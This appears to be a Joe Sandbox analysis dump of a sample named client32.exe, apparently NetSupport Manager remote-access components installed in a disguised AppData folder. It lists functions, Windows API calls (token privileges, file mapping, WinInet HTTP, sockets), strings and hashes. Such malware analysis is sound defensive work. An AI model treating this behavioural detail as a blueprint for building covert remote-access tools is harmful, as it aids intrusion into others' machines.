Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b3d656ea942d4c72b557aab7cdc006fc3b3f0f25ac61bb18684b9d1bb2d6afb4
Instruction ID: 892c46daad32340562deb03b0bc68e0054ed6c5d2fba7563939c9d02c136a9e0
Opcode Fuzzy Hash: b3d656ea942d4c72b557aab7cdc006fc3b3f0f25ac61bb18684b9d1bb2d6afb4
Instruction Fuzzy Hash: 5CF09836505214BBCF226F95EC14ADA7F76FB093A1B158050FA1895230CE328861DBB0

Function 00D05360 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,00000000,00000000,00000000,00000242,?), ref: 00D053BA
CloseHandle.KERNEL32(?,00000000,00000242,?), ref: 00D05517

Strings

.#v, xrefs: 00D05517

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: CloseFileHandlePointer
String ID: .#v
API String ID: 1504453057-507759092
Opcode ID: 25232a7135386c1778a9d868a7c237c37a2bb460a4cb5c086013b56f3ce0a7f6
Instruction ID: 8adb2ccea45a593fdb91c17c07dd5fd72ca84beb5d68cd34f9e022b416d92208
Opcode Fuzzy Hash: 25232a7135386c1778a9d868a7c237c37a2bb460a4cb5c086013b56f3ce0a7f6
Instruction Fuzzy Hash: FF519471A00B049BDB24DF64EC49B9EB7A6EF44304F548699DD4DD72C9EB70DA048FA0

Function 00D09060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00D09085

Strings

RCC, xrefs: 00D0909F
MOC, xrefs: 00D09097

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: abcb2ed68b83f57c2641a7218d3cdedd6873931fa7a2c071fa876855b67dc277
Instruction ID: 7ede8bb5eac44a995fc289072c9dc957a187dc58ee85bc206c4f276a1cb98f34
Opcode Fuzzy Hash: abcb2ed68b83f57c2641a7218d3cdedd6873931fa7a2c071fa876855b67dc277
Instruction Fuzzy Hash: 14415B71A0020AAFCF16DF98CC85BEEBBB5FF48300F188159F90967296D3359951DB61

Analysis Process: client32.exePID: 4900, Parent PID: 1136COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	91

Executed Functions

Function 1109D240 Relevance: 100.3, APIs: 42, Strings: 15, Instructions: 501
filethreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1109C4F0: GetCurrentProcess.KERNEL32(000F01FF,?,1102FA03,00000000,00000000,00080000,8F98CBB2,00080000,00000000,00000000), ref: 1109C51D
Part of subcall function 1109C4F0: OpenProcessToken.ADVAPI32(00000000), ref: 1109C524
Part of subcall function 1109C4F0: LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109C535
Part of subcall function 1109C4F0: AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109C559

LocalAlloc.KERNEL32(00000040,00000014,SeSecurityPrivilege,?,00080000,8F98CBB2,00080000,00000000,00000000), ref: 1109D2D5
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 1109D2EE
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 1109D2F9
GetVersionExA.KERNEL32(?), ref: 1109D310
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109D37E
SetSecurityDescriptorSacl.ADVAPI32(00000000,00000001,?,00000000), ref: 1109D393
FreeLibrary.KERNEL32(00000001,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109D3A4
CreateFileMappingA.KERNEL32(000000FF,1102FA03,00000004,00000000,?,?), ref: 1109D3E0
GetLastError.KERNEL32 ref: 1109D3ED
LocalFree.KERNEL32(?), ref: 1109D416
LocalFree.KERNEL32(?), ref: 1109D423
GetLastError.KERNEL32 ref: 1109D440
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00000000), ref: 1109D45E
LocalFree.KERNEL32(?), ref: 1109D489
LocalFree.KERNEL32(?), ref: 1109D496

Part of subcall function 1109C460: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109D32E), ref: 1109C468

Part of subcall function 1109C4A0: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109C4B4

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109D4C2
LocalFree.KERNEL32(?), ref: 1109D58B
LocalFree.KERNEL32(?), ref: 1109D598
_memset.LIBCMT ref: 1109D5B0
GetTickCount.KERNEL32 ref: 1109D5B8
GetCurrentProcessId.KERNEL32 ref: 1109D664
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109D67F
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109D6CB
GetLastError.KERNEL32 ref: 1109D6D4
GetLastError.KERNEL32(00000000), ref: 1109D6DB
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109D710
GetLastError.KERNEL32 ref: 1109D719
GetLastError.KERNEL32(00000000), ref: 1109D720
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109D756
GetLastError.KERNEL32 ref: 1109D75F
GetLastError.KERNEL32(00000000), ref: 1109D766
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109D79B
GetLastError.KERNEL32 ref: 1109D7AA
GetLastError.KERNEL32(00000000), ref: 1109D7AD
LocalFree.KERNEL32(?), ref: 1109D7D5
LocalFree.KERNEL32(?), ref: 1109D7E2
GetCurrentThreadId.KERNEL32 ref: 1109D813
CreateThread.KERNEL32(00000000,00002000,Function_0009CDD0,00000000,00000000,00000030), ref: 1109D82D
ResetEvent.KERNEL32(?), ref: 1109D85C
ResetEvent.KERNEL32(?), ref: 1109D862
ResetEvent.KERNEL32(?), ref: 1109D868
SetEvent.KERNEL32(?), ref: 1109D86E

Strings

Error filemap exists, xrefs: 1109D56D
map exists, xrefs: 1109D59A
Error cant map view, xrefs: 1109D46B
cant create events, xrefs: 1109D8A4
Error cant create events, xrefs: 1109D897
Cant create event %s, e=%d (x%x), xrefs: 1109D6E9, 1109D72E, 1109D774, 1109D7B7
S:(ML;;NW;;;LW), xrefs: 1109D338
IPC(%s) created, xrefs: 1109D878
cant create filemap, xrefs: 1109D425
cant create thread, xrefs: 1109D83A
Error creating filemap (%d), xrefs: 1109D3F4
warning map exists, xrefs: 1109D540
Info - reusing existing filemap, xrefs: 1109D529
SeSecurityPrivilege, xrefs: 1109D2AA
cant map, xrefs: 1109D498

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: 2773d804223ff8e0a2aa968baca401bea7f470192e3e967c4d90a613c88c9993
Instruction ID: 1c086480991888a7e74c242cefb21caf9cc7b937459cab308f9abb1f8f7b4179
Opcode Fuzzy Hash: 2773d804223ff8e0a2aa968baca401bea7f470192e3e967c4d90a613c88c9993
Instruction Fuzzy Hash: 7F1282B5E402599FDB20DF65CCD4EAEB7F9BB88308F0089A9E14D97240D771A984CF61

Function 6C4E7030 Relevance: 91.4, APIs: 21, Strings: 31, Instructions: 406
threadlibrarysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C4D2A90: GetModuleFileNameA.KERNEL32(00000000,?,00000100), ref: 6C4D2ACB
Part of subcall function 6C4D2A90: _strrchr.LIBCMT ref: 6C4D2ADA
Part of subcall function 6C4D2A90: _strrchr.LIBCMT ref: 6C4D2AEA
Part of subcall function 6C4D2A90: wsprintfA.USER32 ref: 6C4D2B05

Part of subcall function 6C4EDBD0: _malloc.LIBCMT ref: 6C4EDBE9
Part of subcall function 6C4EDBD0: wsprintfA.USER32 ref: 6C4EDC04
Part of subcall function 6C4EDBD0: _memset.LIBCMT ref: 6C4EDC27

LoadLibraryA.KERNEL32(WinInet.dll), ref: 6C4E7057
InitializeCriticalSection.KERNEL32(6C51B898), ref: 6C4E70DF
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C4E70EF
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C4E7115
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C4E713B
WSAStartup.WSOCK32(00000101,6C51B91A), ref: 6C4E7167
_malloc.LIBCMT ref: 6C4E71A3

Part of subcall function 6C4F1B69: __FF_MSGBANNER.LIBCMT ref: 6C4F1B82
Part of subcall function 6C4F1B69: __NMSG_WRITE.LIBCMT ref: 6C4F1B89
Part of subcall function 6C4F1B69: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C4FD3C1,6C4F6E81,00000001,6C4F6E81,?,6C4FF447,00000018,6C517738,0000000C,6C4FF4D7), ref: 6C4F1BAE

_memset.LIBCMT ref: 6C4E71D3
_calloc.LIBCMT ref: 6C4E7214
_malloc.LIBCMT ref: 6C4E728B
_memset.LIBCMT ref: 6C4E72C1
_malloc.LIBCMT ref: 6C4E72CD
_memset.LIBCMT ref: 6C4E7303
GetTickCount.KERNEL32 ref: 6C4E7361
CreateThread.KERNEL32(00000000,00004000,6C4E6BA0,00000000,00000000,6C51BACC), ref: 6C4E737E
SetThreadPriority.KERNEL32(00000000,00000001), ref: 6C4E73AC
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\DNScache\Support\,00000104), ref: 6C4E7430
GetPrivateProfileIntA.KERNEL32(htctl.packet_tracing,mode,00000000,C:\Users\user\AppData\Local\DNScache\Support\pci.ini), ref: 6C4E74B0
GetModuleHandleA.KERNEL32(nsmtrace), ref: 6C4E74C0
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 6C4E7566
timeBeginPeriod.WINMM(00000001), ref: 6C4E7573

Strings

mode, xrefs: 6C4E74A1
sv.gateways, xrefs: 6C4E722F
C:\Users\user\AppData\Local\DNScache\Support\pci.ini, xrefs: 6C4E7481, 6C4E749B
sv.ResumeEvent, xrefs: 6C4E7150
TraceSend, xrefs: 6C4E74DB, 6C4E7514
*DisconnectTimeout, xrefs: 6C4E733A
(iflags & CTL_REMOTE) == 0, xrefs: 6C4E73C2
_debug, xrefs: 6C4E7502, 6C4E7519, 6C4E753C, 6C4E754C
htctl.packet_tracing, xrefs: 6C4E74A8
TraceRecv, xrefs: 6C4E74CF, 6C4E74FD
sv.hRecvThreadReadyEvent, xrefs: 6C4E7104
*CMPI, xrefs: 6C4E731F
sv.s, xrefs: 6C4E71BE
Support\, xrefs: 6C4E7451
928100, xrefs: 6C4E7242
HTCTL32, xrefs: 6C4E7036
Trace, xrefs: 6C4E7547
pci.ini, xrefs: 6C4E748F
NSM301071, xrefs: 6C4E7257
TraceFile, xrefs: 6C4E7537
0/#v, xrefs: 6C4E70E5
sv.hResponseEvent, xrefs: 6C4E712A
C:\Users\user\AppData\Local\DNScache\Support\, xrefs: 6C4E742A, 6C4E7438, 6C4E744C
sv.subset.subset, xrefs: 6C4E72A6
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6C4E70FF, 6C4E7125, 6C4E714B, 6C4E71B9, 6C4E722A, 6C4E72A1, 6C4E72E3, 6C4E7392, 6C4E73BD
nsmtrace, xrefs: 6C4E74B6
WinInet.dll, xrefs: 6C4E7052
General, xrefs: 6C4E733F
sv.subset.omit, xrefs: 6C4E72E8
NetworkSpeed, xrefs: 6C4E73D7
sv.hRecvThread, xrefs: 6C4E7397

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: Create$_malloc_memset$EventModule$FileNameThread_strrchrwsprintf$AllocateBeginCountCriticalHandleHeapInitializeLibraryLoadMutexPeriodPriorityPrivateProfileSectionStartupTick_calloctime
String ID: (iflags & CTL_REMOTE) == 0$*CMPI$*DisconnectTimeout$0/#v$928100$C:\Users\user\AppData\Local\DNScache\Support\$C:\Users\user\AppData\Local\DNScache\Support\pci.ini$General$HTCTL32$NSM301071$NetworkSpeed$Support\$Trace$TraceFile$TraceRecv$TraceSend$WinInet.dll$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$htctl.packet_tracing$mode$nsmtrace$pci.ini$sv.ResumeEvent$sv.gateways$sv.hRecvThread$sv.hRecvThreadReadyEvent$sv.hResponseEvent$sv.s$sv.subset.omit$sv.subset.subset
API String ID: 3160247386-4194217301
Opcode ID: 653fb9c9666eb57b0cac7f03a2a650941f7fb6e2ae9f0dba55cc75f15bfa91a6
Instruction ID: 118c6f2d42336385c3a1a2201e40b412322fc82b07943b4438cefafe2c3b646a
Opcode Fuzzy Hash: 653fb9c9666eb57b0cac7f03a2a650941f7fb6e2ae9f0dba55cc75f15bfa91a6
Instruction Fuzzy Hash: 35D1B3F0A082056FEB10FF648C8DE567BF8EB0A259F470929F419D7F41D771A8448B99

Function 11029200 Relevance: 88.0, APIs: 38, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,8F98CBB2,762323A0,?,00000000), ref: 11029235
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110292CF
SetLastError.KERNEL32(00000078), ref: 110292E3
_malloc.LIBCMT ref: 11029307
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029321
GetLastError.KERNEL32 ref: 11029342
_free.LIBCMT ref: 1102934E
_malloc.LIBCMT ref: 11029357
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029371
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 110293AB
InternetOpenA.WININET(11190240,?,?,000000FF,00000000), ref: 110293CA
SetLastError.KERNEL32(00000078), ref: 110293D4
SetLastError.KERNEL32(00000078), ref: 110293E1
SetLastError.KERNEL32(00000078), ref: 110293EB
_free.LIBCMT ref: 110293F5

Part of subcall function 1115F2C5: HeapFree.KERNEL32(00000000,00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2DB
Part of subcall function 1115F2C5: GetLastError.KERNEL32(00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2ED

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029475
SetLastError.KERNEL32(00000078), ref: 1102948E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 110294A1
InternetConnectA.WININET(000000FF,111955E0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 110294BE
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110294DA
SetLastError.KERNEL32(00000078), ref: 110294F3
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 11029519
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 1102956D
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 110296D3
SetLastError.KERNEL32(00000078), ref: 110297A0
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110297F2
SetLastError.KERNEL32(00000078), ref: 11029809
FreeLibrary.KERNEL32(?), ref: 1102981A

Strings

InternetQueryDataAvailable, xrefs: 110296CD
InternetOpenA, xrefs: 110293A5
InternetQueryOptionA, xrefs: 1102931B, 1102936B
GET, xrefs: 11029539
://, xrefs: 11029415
HttpOpenRequestA, xrefs: 11029513
InternetConnectA, xrefs: 1102949B
HttpQueryInfoA, xrefs: 110295B3
WinInet.dll, xrefs: 1102922D
InternetCloseHandle, xrefs: 110292C9, 1102946F, 110294D4, 110297EC
InternetErrorDlg, xrefs: 11029610
HttpSendRequestA, xrefs: 11029567

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$FreeInternetLibrary_free_malloc$ConnectHeapLoadOpen
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 921868004-913974648
Opcode ID: 1c4ce46d0ffb00ce986c6a75ceb3ffa0c21656539bf0748b1eb8fe8b8cff61b2
Instruction ID: 1a6f29b930c56522642f3e0528693d97e2c9ce6eee6fc69bea7c9705341dbda6
Opcode Fuzzy Hash: 1c4ce46d0ffb00ce986c6a75ceb3ffa0c21656539bf0748b1eb8fe8b8cff61b2
Instruction Fuzzy Hash: 3C128EB0D002299BDB11CFA9CC88A9EFBF8FF89344F60856AE555F7240EB745941CB61

Function 110612D0 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11141240: GetLastError.KERNEL32(?,00000000,7693795C,00000000), ref: 11141275
Part of subcall function 11141240: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,7693795C,00000000), ref: 11141285

_fgets.LIBCMT ref: 11061402
_strpbrk.LIBCMT ref: 11061469
_fgets.LIBCMT ref: 1106156C
_strpbrk.LIBCMT ref: 110615E3
__wcstoui64.LIBCMT ref: 110615FC
_fgets.LIBCMT ref: 11061675
_strpbrk.LIBCMT ref: 1106169B

Strings

_version, xrefs: 11061A69
_checksum, xrefs: 11061A4F
_License, xrefs: 11061996, 11061A54, 11061A6E, 11061BF6, 11061C60, 11061C7B, 11061C97, 11061D91, 11061FB0, 11062098
ACM, xrefs: 11061CD7
inactive, xrefs: 11061BF1
start, xrefs: 11061D79, 11061D90
%c%04d%s, xrefs: 110617C4
shrink_wrap, xrefs: 11061C76
defaults, xrefs: 11061756
Client, xrefs: 110618A2, 110618E4
licensee, xrefs: 11062093
%s.%04d.%s, xrefs: 110618E9
Expired, xrefs: 11061FAB
cd_install, xrefs: 11061C5B
_include, xrefs: 11061809
expiry, xrefs: 11061D70
product, xrefs: 11061C92
/- , xrefs: 11061E3E, 11061E71, 11061EA4
enforce, xrefs: 11061776
?expirY, xrefs: 11061DA8
?starT, xrefs: 11061DB1, 11061DBD

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: 65d0460f92802e955614a162dd3814ce1d5bf045f2489b592bb5db30f33d702c
Instruction ID: 7d354751decb521dd2b5a9477f267ff04dc70e6f2396a8d0e1f3593140cd268d
Opcode Fuzzy Hash: 65d0460f92802e955614a162dd3814ce1d5bf045f2489b592bb5db30f33d702c
Instruction Fuzzy Hash: D6A2C275E0465A9FEB10CF64CC40BEFB7B9AF44309F0481D9E949A7280EB71AA45CF61

Function 6C4DA980 Relevance: 56.4, APIs: 28, Strings: 4, Instructions: 389
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C4D5840: inet_ntoa.WSOCK32(00000080,?,00000000,?,6C4D8F91,00000000,00000000,6C51B8DA,?,00000080), ref: 6C4D5852

EnterCriticalSection.KERNEL32(6C51B898,?,00000000,00000000), ref: 6C4DAA11
LeaveCriticalSection.KERNEL32(6C51B898), ref: 6C4DAA58
LeaveCriticalSection.KERNEL32(6C51B898), ref: 6C4DAA68
LeaveCriticalSection.KERNEL32(6C51B898), ref: 6C4DAA94
WSAGetLastError.WSOCK32(?,?,?,?,?,00000000,00000000), ref: 6C4DAB0B
socket.WSOCK32(00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAB4E
WSAGetLastError.WSOCK32(00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAB5A
#21.WSOCK32(00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAB8E
#21.WSOCK32(00000000,0000FFFF,00000080,?,00000004,00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DABB1
#21.WSOCK32(00000000,00000006,00000001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DABE3
bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAC18
WSAGetLastError.WSOCK32(00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAC21
closesocket.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAC29
htons.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAC65
WSASetBlockingHook.WSOCK32(6C4D63A0,00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAC76
WSAGetLastError.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAC8F
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAC96
closesocket.WSOCK32(00000000,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAC9C
WSAGetLastError.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DACFD
WSAUnhookBlockingHook.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAD04
closesocket.WSOCK32(00000000,?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAD0A
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAD45
EnterCriticalSection.KERNEL32(6C51B898,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4DAD4F
InitializeCriticalSection.KERNEL32(-6C51CB4A), ref: 6C4DADE6

Part of subcall function 6C4D8FB0: _memset.LIBCMT ref: 6C4D8FE4
Part of subcall function 6C4D8FB0: getsockname.WSOCK32(?,?,00000010,?,02CC2E28,?), ref: 6C4D9005

